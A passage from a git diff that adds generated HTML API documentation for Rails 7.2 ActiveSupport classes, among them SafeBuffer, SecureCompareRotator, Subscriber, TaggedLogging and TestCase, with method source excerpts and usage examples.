# File activesupport/lib/active_support/reloader.rb, line 71
+    def self.wrap(**kwargs)
+      return yield if active?
+
+      executor.wrap(**kwargs) do
+        instance = run!
+        begin
+          yield
+        ensure
+          instance.complete!
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + release_unload_lock!() + +

+ + +
+

Release the unload lock if it has been previously obtained

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/reloader.rb, line 114
+    def release_unload_lock!
+      if @locked
+        @locked = false
+        ActiveSupport::Dependencies.interlock.done_unloading
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + require_unload_lock!() + +

+ + +
+

Acquire the ActiveSupport::Dependencies::Interlock unload lock, ensuring it will be released automatically

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/reloader.rb, line 106
+    def require_unload_lock!
+      unless @locked
+        ActiveSupport::Dependencies.interlock.start_unloading
+        @locked = true
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Rescuable.html b/src/7.2/classes/ActiveSupport/Rescuable.html new file mode 100644 index 0000000000..51c09a84ec --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Rescuable.html @@ -0,0 +1,122 @@ +--- +title: ActiveSupport::Rescuable +layout: default +--- +
+ +
+
+ +
+ +

Active Support Rescuable

+ +

Rescuable module adds support for easier exception handling.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + rescue_with_handler(exception) + +

+ + +
+

Delegates to the class method, but uses the instance as the subject for rescue_from handlers (method calls, instance_exec blocks).

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/rescuable.rb, line 166
+    def rescue_with_handler(exception)
+      self.class.rescue_with_handler exception, object: self
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Rescuable/ClassMethods.html b/src/7.2/classes/ActiveSupport/Rescuable/ClassMethods.html new file mode 100644 index 0000000000..cffff4bf30 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Rescuable/ClassMethods.html @@ -0,0 +1,208 @@ +--- +title: ActiveSupport::Rescuable::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + rescue_from(*klasses, with: nil, &block) + +

+ + +
+

Registers exception classes with a handler to be called by rescue_with_handler.

+ +

rescue_from receives a series of exception classes or class names, and an exception handler specified by a trailing :with option containing the name of a method or a Proc object. Alternatively, a block can be given as the handler.

+ +

Handlers that take one argument will be called with the exception, so that the exception can be inspected when dealing with it.

+ +

Handlers are inherited. They are searched from right to left, from bottom to top, and up the hierarchy. The handler of the first class for which exception.is_a?(klass) holds true is the one invoked, if any.

+ +
class ApplicationController < ActionController::Base
+  rescue_from User::NotAuthorized, with: :deny_access
+  rescue_from ActiveRecord::RecordInvalid, with: :show_record_errors
+
+  rescue_from "MyApp::BaseError" do |exception|
+    redirect_to root_url, alert: exception.message
+  end
+
+  private
+    def deny_access
+      head :forbidden
+    end
+
+    def show_record_errors(exception)
+      redirect_back_or_to root_url, alert: exception.record.errors.full_messages.to_sentence
+    end
+end
+
+ +

Exceptions raised inside exception handlers are not propagated up.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/rescuable.rb, line 53
+      def rescue_from(*klasses, with: nil, &block)
+        unless with
+          if block_given?
+            with = block
+          else
+            raise ArgumentError, "Need a handler. Pass the with: keyword argument or provide a block."
+          end
+        end
+
+        klasses.each do |klass|
+          key = if klass.is_a?(Module) && klass.respond_to?(:===)
+            klass.name
+          elsif klass.is_a?(String)
+            klass
+          else
+            raise ArgumentError, "#{klass.inspect} must be an Exception class or a String referencing an Exception class"
+          end
+
+          # Put the new handler at the end because the list is read in reverse.
+          self.rescue_handlers += [[key, with]]
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rescue_with_handler(exception, object: self, visited_exceptions: []) + +

+ + +
+

Matches an exception to a handler based on the exception class.

+ +

If no handler matches the exception, check for a handler matching the (optional) exception.cause. If no handler matches the exception or its cause, this returns nil, so you can deal with unhandled exceptions. Be sure to re-raise unhandled exceptions if this is what you expect.

+ +
begin
+  # ...
+rescue => exception
+  rescue_with_handler(exception) || raise
+end
+
+ +

Returns the exception if it was handled and nil if it was not.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/rescuable.rb, line 90
+      def rescue_with_handler(exception, object: self, visited_exceptions: [])
+        visited_exceptions << exception
+
+        if handler = handler_for_rescue(exception, object: object)
+          handler.call exception
+          exception
+        elsif exception
+          if visited_exceptions.include?(exception.cause)
+            nil
+          else
+            rescue_with_handler(exception.cause, object: object, visited_exceptions: visited_exceptions)
+          end
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/SafeBuffer.html b/src/7.2/classes/ActiveSupport/SafeBuffer.html new file mode 100644 index 0000000000..58794f4bfa --- /dev/null +++ b/src/7.2/classes/ActiveSupport/SafeBuffer.html @@ -0,0 +1,961 @@ +--- +title: ActiveSupport::SafeBuffer +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + +
UNSAFE_STRING_METHODS=%w( +capitalize chomp chop delete delete_prefix delete_suffix +downcase lstrip next reverse rstrip scrub squeeze strip +succ swapcase tr tr_s unicode_normalize upcase +)
UNSAFE_STRING_METHODS_WITH_BACKREF=%w(gsub sub)
+ + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [R] + html_safe
+ [R] + html_safe?
+ + + + +

Class Public methods

+ +
+

+ + new(str = "") + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/output_safety.rb, line 70
+    def initialize(str = "")
+      @html_safe = true
+      super
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + %(args) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/output_safety.rb, line 123
+    def %(args)
+      case args
+      when Hash
+        escaped_args = args.transform_values { |arg| explicit_html_escape_interpolated_argument(arg) }
+      else
+        escaped_args = Array(args).map { |arg| explicit_html_escape_interpolated_argument(arg) }
+      end
+
+      self.class.new(super(escaped_args))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + *(_) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/output_safety.rb, line 116
+    def *(_)
+      new_string = super
+      new_safe_buffer = new_string.is_a?(SafeBuffer) ? new_string : SafeBuffer.new(new_string)
+      new_safe_buffer.instance_variable_set(:@html_safe, @html_safe)
+      new_safe_buffer
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + +(other) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/output_safety.rb, line 112
+    def +(other)
+      dup.concat(other)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + <<(value) + +

+ + +
+ +
+ + + + + +
+ Alias for: concat +
+ + + + +
+ +
+

+ + [](*args) + +

+ + +
+ +
+ + + +
+ Also aliased as: slice +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/output_safety.rb, line 38
+    def [](*args)
+      if html_safe?
+        new_string = super
+
+        return unless new_string
+
+        string_into_safe_buffer(new_string, true)
+      else
+        to_str[*args]
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + []=(arg1, arg2, arg3 = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/output_safety.rb, line 104
+    def []=(arg1, arg2, arg3 = nil)
+      if arg3
+        super(arg1, arg2, implicit_html_escape_interpolated_argument(arg3))
+      else
+        super(arg1, implicit_html_escape_interpolated_argument(arg2))
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + bytesplice(*args, value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/output_safety.rb, line 88
+    def bytesplice(*args, value)
+      super(*args, implicit_html_escape_interpolated_argument(value))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + chr() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/output_safety.rb, line 59
+    def chr
+      return super unless html_safe?
+
+      string_into_safe_buffer(super, true)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + concat(value) + +

+ + +
+ +
+ + + +
+ Also aliased as: original_concat, << +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/output_safety.rb, line 80
+    def concat(value)
+      unless value.nil?
+        super(implicit_html_escape_interpolated_argument(value))
+      end
+      self
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + encode_with(coder) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/output_safety.rb, line 146
+    def encode_with(coder)
+      coder.represent_object nil, to_str
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + initialize_copy(other) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/output_safety.rb, line 75
+    def initialize_copy(other)
+      super
+      @html_safe = other.html_safe?
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + insert(index, value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/output_safety.rb, line 92
+    def insert(index, value)
+      super(index, implicit_html_escape_interpolated_argument(value))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + original_concat(value) + +

+ + +
+ +
+ + + + + +
+ Alias for: concat +
+ + + + +
+ +
+

+ + prepend(value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/output_safety.rb, line 96
+    def prepend(value)
+      super(implicit_html_escape_interpolated_argument(value))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + replace(value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/output_safety.rb, line 100
+    def replace(value)
+      super(implicit_html_escape_interpolated_argument(value))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + safe_concat(value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/output_safety.rb, line 65
+    def safe_concat(value)
+      raise SafeConcatError unless html_safe?
+      original_concat(value)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + slice(*args) + +

+ + +
+ +
+ + + + + +
+ Alias for: [] +
+ + + + +
+ +
+

+ + slice!(*args) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/output_safety.rb, line 51
+    def slice!(*args)
+      new_string = super
+
+      return new_string if !html_safe? || new_string.nil?
+
+      string_into_safe_buffer(new_string, true)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_param() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/output_safety.rb, line 142
+    def to_param
+      to_str
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_s() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/output_safety.rb, line 138
+    def to_s
+      self
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/SafeBuffer/SafeConcatError.html b/src/7.2/classes/ActiveSupport/SafeBuffer/SafeConcatError.html new file mode 100644 index 0000000000..8e568e632a --- /dev/null +++ b/src/7.2/classes/ActiveSupport/SafeBuffer/SafeConcatError.html @@ -0,0 +1,113 @@ +--- +title: ActiveSupport::SafeBuffer::SafeConcatError +layout: default +--- +
+ +
+
+ +
+ +

Raised when ActiveSupport::SafeBuffer#safe_concat is called on unsafe buffers.

+ +
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/output_safety.rb, line 33
+      def initialize
+        super "Could not concatenate to the buffer because it is not HTML safe."
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/SecureCompareRotator.html b/src/7.2/classes/ActiveSupport/SecureCompareRotator.html new file mode 100644 index 0000000000..11f0f4b27a --- /dev/null +++ b/src/7.2/classes/ActiveSupport/SecureCompareRotator.html @@ -0,0 +1,255 @@ +--- +title: ActiveSupport::SecureCompareRotator +layout: default +--- +
+ +
+
+ +
+ +

Secure Compare Rotator

+ +

The ActiveSupport::SecureCompareRotator is a wrapper around ActiveSupport::SecurityUtils.secure_compare and allows you to rotate a previously defined value to a new one.

+ +

It can be used as follow:

+ +
rotator = ActiveSupport::SecureCompareRotator.new('new_production_value')
+rotator.rotate('previous_production_value')
+rotator.secure_compare!('previous_production_value')
+
+ +

One real use case example would be to rotate a basic auth credentials:

+ +
class MyController < ApplicationController
+  def authenticate_request
+    rotator = ActiveSupport::SecureCompareRotator.new('new_password')
+    rotator.rotate('old_password')
+
+    authenticate_or_request_with_http_basic do |username, password|
+      rotator.secure_compare!(password)
+    rescue ActiveSupport::SecureCompareRotator::InvalidMatch
+      false
+    end
+  end
+end
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + +

Constants

+ + + + + + + + + +
InvalidMatch=Class.new(StandardError)
+ + + + + + +

Class Public methods

+ +
+

+ + new(value, on_rotation: nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/secure_compare_rotator.rb, line 37
+    def initialize(value, on_rotation: nil)
+      @value = value
+      @rotate_values = []
+      @on_rotation = on_rotation
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + rotate(previous_value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/secure_compare_rotator.rb, line 43
+    def rotate(previous_value)
+      @rotate_values << previous_value
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + secure_compare!(other_value, on_rotation: @on_rotation) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/secure_compare_rotator.rb, line 47
+    def secure_compare!(other_value, on_rotation: @on_rotation)
+      if secure_compare(@value, other_value)
+        true
+      elsif @rotate_values.any? { |value| secure_compare(value, other_value) }
+        on_rotation&.call
+        true
+      else
+        raise InvalidMatch
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/SecurityUtils.html b/src/7.2/classes/ActiveSupport/SecurityUtils.html new file mode 100644 index 0000000000..01bf69363b --- /dev/null +++ b/src/7.2/classes/ActiveSupport/SecurityUtils.html @@ -0,0 +1,142 @@ +--- +title: ActiveSupport::SecurityUtils +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + fixed_length_secure_compare(a, b) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/security_utils.rb, line 11
+      def fixed_length_secure_compare(a, b)
+        OpenSSL.fixed_length_secure_compare(a, b)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + secure_compare(a, b) + +

+ + +
+

Secure string comparison for strings of variable length.

+ +

While a timing attack would not be able to discern the content of a secret compared via secure_compare, it is possible to determine the secret length. This should be considered when using secure_compare to compare weak, short secrets to user input.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/security_utils.rb, line 33
+    def secure_compare(a, b)
+      a.bytesize == b.bytesize && fixed_length_secure_compare(a, b)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/StringInquirer.html b/src/7.2/classes/ActiveSupport/StringInquirer.html new file mode 100644 index 0000000000..fb97b6e7a1 --- /dev/null +++ b/src/7.2/classes/ActiveSupport/StringInquirer.html @@ -0,0 +1,83 @@ +--- +title: ActiveSupport::StringInquirer +layout: default +--- +
+ +
+
+ +
+ +

String Inquirer

+ +

Wrapping a string in this class gives you a prettier way to test for equality. The value returned by Rails.env is wrapped in a StringInquirer object, so instead of calling this:

+ +
Rails.env == 'production'
+
+ +

you can call this:

+ +
Rails.env.production?
+
+ +

Instantiating a new StringInquirer

+ +
vehicle = ActiveSupport::StringInquirer.new('car')
+vehicle.car?   # => true
+vehicle.bike?  # => false
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/Subscriber.html b/src/7.2/classes/ActiveSupport/Subscriber.html new file mode 100644 index 0000000000..0730ed2eca --- /dev/null +++ b/src/7.2/classes/ActiveSupport/Subscriber.html @@ -0,0 +1,460 @@ +--- +title: ActiveSupport::Subscriber +layout: default +--- +
+ +
+
+ +
+ +

Active Support Subscriber

+ +

ActiveSupport::Subscriber is an object set to consume ActiveSupport::Notifications. The subscriber dispatches notifications to a registered object based on its given namespace.

+ +

An example would be an Active Record subscriber responsible for collecting statistics about queries:

+ +
module ActiveRecord
+  class StatsSubscriber < ActiveSupport::Subscriber
+    attach_to :active_record
+
+    def sql(event)
+      Statsd.timing("sql.#{event.payload[:name]}", event.duration)
+    end
+  end
+end
+
+ +

After configured, whenever a "sql.active_record" notification is published, it will properly dispatch the event (ActiveSupport::Notifications::Event) to the sql method.

+ +

We can detach a subscriber as well:

+ +
ActiveRecord::StatsSubscriber.detach_from(:active_record)
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + attach_to(namespace, subscriber = new, notifier = ActiveSupport::Notifications, inherit_all: false) + +

+ + +
+

Attach the subscriber to a namespace.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/subscriber.rb, line 35
+      def attach_to(namespace, subscriber = new, notifier = ActiveSupport::Notifications, inherit_all: false)
+        @namespace  = namespace
+        @subscriber = subscriber
+        @notifier   = notifier
+        @inherit_all = inherit_all
+
+        subscribers << subscriber
+
+        # Add event subscribers for all existing methods on the class.
+        fetch_public_methods(subscriber, inherit_all).each do |event|
+          add_event_subscriber(event)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + detach_from(namespace, notifier = ActiveSupport::Notifications) + +

+ + +
+

Detach the subscriber from a namespace.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/subscriber.rb, line 50
+      def detach_from(namespace, notifier = ActiveSupport::Notifications)
+        @namespace  = namespace
+        @subscriber = find_attached_subscriber
+        @notifier   = notifier
+
+        return unless subscriber
+
+        subscribers.delete(subscriber)
+
+        # Remove event subscribers of all existing methods on the class.
+        fetch_public_methods(subscriber, true).each do |event|
+          remove_event_subscriber(event)
+        end
+
+        # Reset notifier so that event subscribers will not add for new methods added to the class.
+        @notifier = nil
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + method_added(event) + +

+ + +
+

Adds event subscribers for all new methods added to the class.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/subscriber.rb, line 69
+      def method_added(event)
+        super
+        # Only public methods are added as subscribers, and only if a notifier
+        # has been set up. This means that subscribers will only be set up for
+        # classes that call #attach_to.
+        if public_method_defined?(event) && notifier
+          add_event_subscriber(event)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/subscriber.rb, line 131
+    def initialize
+      @patterns  = {}
+      super
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + subscribers() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/subscriber.rb, line 79
+      def subscribers
+        @@subscribers ||= []
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Class Private methods

+ +
+

+ + add_event_subscriber(event) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/subscriber.rb, line 86
+        def add_event_subscriber(event) # :doc:
+          return if invalid_event?(event)
+
+          pattern = prepare_pattern(event)
+
+          # Don't add multiple subscribers (e.g. if methods are redefined).
+          return if pattern_subscribed?(pattern)
+
+          subscriber.patterns[pattern] = notifier.subscribe(pattern, subscriber)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + remove_event_subscriber(event) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/subscriber.rb, line 97
+        def remove_event_subscriber(event) # :doc:
+          return if invalid_event?(event)
+
+          pattern = prepare_pattern(event)
+
+          return unless pattern_subscribed?(pattern)
+
+          notifier.unsubscribe(subscriber.patterns[pattern])
+          subscriber.patterns.delete(pattern)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + call(event) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/subscriber.rb, line 136
+    def call(event)
+      method = event.name[0, event.name.index(".")]
+      send(method, event)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/TaggedLogging.html b/src/7.2/classes/ActiveSupport/TaggedLogging.html new file mode 100644 index 0000000000..ff36310c8e --- /dev/null +++ b/src/7.2/classes/ActiveSupport/TaggedLogging.html @@ -0,0 +1,230 @@ +--- +title: ActiveSupport::TaggedLogging +layout: default +--- +
+ +
+
+ +
+ +

Active Support Tagged Logging

+ +

Wraps any standard Logger object to provide tagging capabilities.

+ +

May be called with a block:

+ +
logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT))
+logger.tagged('BCX') { logger.info 'Stuff' }                                  # Logs "[BCX] Stuff"
+logger.tagged('BCX', "Jason") { |tagged_logger| tagged_logger.info 'Stuff' }  # Logs "[BCX] [Jason] Stuff"
+logger.tagged('BCX') { logger.tagged('Jason') { logger.info 'Stuff' } }       # Logs "[BCX] [Jason] Stuff"
+
+ +

If called without a block, a new logger will be returned with applied tags:

+ +
logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT))
+logger.tagged("BCX").info "Stuff"                 # Logs "[BCX] Stuff"
+logger.tagged("BCX", "Jason").info "Stuff"        # Logs "[BCX] [Jason] Stuff"
+logger.tagged("BCX").tagged("Jason").info "Stuff" # Logs "[BCX] [Jason] Stuff"
+
+ +

This is used by the default Rails.logger as configured by Railties to make it easy to stamp log lines with subdomains, request ids, and anything else to aid debugging of multi-user production applications.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(logger) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/tagged_logging.rb, line 116
+    def self.new(logger)
+      logger = logger.clone
+
+      if logger.formatter
+        logger.formatter = logger.formatter.clone
+
+        # Workaround for https://bugs.ruby-lang.org/issues/20250
+        # Can be removed when Ruby 3.4 is the least supported version.
+        logger.formatter.object_id if logger.formatter.is_a?(Proc)
+      else
+        # Ensure we set a default formatter so we aren't extending nil!
+        logger.formatter = ActiveSupport::Logger::SimpleFormatter.new
+      end
+
+      logger.formatter.extend Formatter
+      logger.extend(self)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + flush() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/tagged_logging.rb, line 147
+    def flush
+      clear_tags!
+      super if defined?(super)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + tagged(*tags) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/tagged_logging.rb, line 136
+    def tagged(*tags)
+      if block_given?
+        formatter.tagged(*tags) { yield self }
+      else
+        logger = ActiveSupport::TaggedLogging.new(self)
+        logger.formatter.extend LocalTagStorage
+        logger.push_tags(*formatter.current_tags, *tags)
+        logger
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveSupport/TestCase.html b/src/7.2/classes/ActiveSupport/TestCase.html new file mode 100644 index 0000000000..bc6efb8b0a --- /dev/null +++ b/src/7.2/classes/ActiveSupport/TestCase.html @@ -0,0 +1,826 @@ +--- +title: ActiveSupport::TestCase +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + +

Constants

+ + + + + + + + + +
Assertion=Minitest::Assertion
+ + + + + + +

Class Public methods

+ +
+

+ + fixture_paths + +

+ + +
+

Returns the ActiveRecord::FixtureSet collection.

+ +

In your test_helper.rb you must have require "rails/test_help".

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + fixture_paths=(fixture_paths) + + +

+ + +
+

Sets the given path to the fixture set.

+ +

Can also append multiple paths.

+ +
ActiveSupport::TestCase.fixture_paths << "component1/test/fixtures"
+
+ +

In your test_helper.rb you must have require "rails/test_help".

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + parallelize(workers: :number_of_processors, with: :processes, threshold: ActiveSupport.test_parallelization_threshold) + +

+ + +
+

Parallelizes the test suite.

+ +

Takes a workers argument that controls how many times the process is forked. For each process a new database will be created suffixed with the worker number.

+ +
test-database-0
+test-database-1
+
+ +

If ENV["PARALLEL_WORKERS"] is set the workers argument will be ignored and the environment variable will be used instead. This is useful for CI environments, or other environments where you may need more workers than you do for local testing.

+ +

If the number of workers is set to 1 or fewer, the tests will not be parallelized.

+ +

If workers is set to :number_of_processors, the number of workers will be set to the actual core count on the machine you are on.

+ +

The default parallelization method is to fork processes. If you’d like to use threads instead you can pass with: :threads to the parallelize method. Note the threaded parallelization does not create multiple databases and will not work with system tests.

+ +
parallelize(workers: :number_of_processors, with: :threads)
+
+ +

The threaded parallelization uses minitest’s parallel executor directly. The processes parallelization uses a Ruby DRb server.

+ +

Because parallelization presents an overhead, it is only enabled when the number of tests to run is above the threshold param. The default value is 50, and it’s configurable via config.active_support.test_parallelization_threshold.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/test_case.rb, line 81
+      def parallelize(workers: :number_of_processors, with: :processes, threshold: ActiveSupport.test_parallelization_threshold)
+        workers = Concurrent.processor_count if workers == :number_of_processors
+        workers = ENV["PARALLEL_WORKERS"].to_i if ENV["PARALLEL_WORKERS"]
+
+        Minitest.parallel_executor = ActiveSupport::Testing::ParallelizeExecutor.new(size: workers, with: with, threshold: threshold)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + parallelize_setup(&block) + +

+ + +
+

Set up hook for parallel testing. This can be used if you have multiple databases or any behavior that needs to be run after the process is forked but before the tests run.

+ +

Note: this feature is not available with the threaded parallelization.

+ +

In your test_helper.rb add the following:

+ +
class ActiveSupport::TestCase
+  parallelize_setup do
+    # create databases
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/test_case.rb, line 101
+      def parallelize_setup(&block)
+        ActiveSupport::Testing::Parallelization.after_fork_hook(&block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + parallelize_teardown(&block) + +

+ + +
+

Clean up hook for parallel testing. This can be used to drop databases if your app uses multiple write/read databases or other clean up before the tests finish. This runs before the forked process is closed.

+ +

Note: this feature is not available with the threaded parallelization.

+ +

In your test_helper.rb add the following:

+ +
class ActiveSupport::TestCase
+  parallelize_teardown do
+    # drop databases
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/test_case.rb, line 118
+      def parallelize_teardown(&block)
+        ActiveSupport::Testing::Parallelization.run_cleanup_hook(&block)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + test_order() + +

+ + +
+

Returns the order in which test cases are run.

+ +
ActiveSupport::TestCase.test_order # => :random
+
+ +

Possible values are :random, :parallel, :alpha, :sorted. Defaults to :random.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/test_case.rb, line 44
+      def test_order
+        ActiveSupport.test_order ||= :random
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + test_order=(new_order) + +

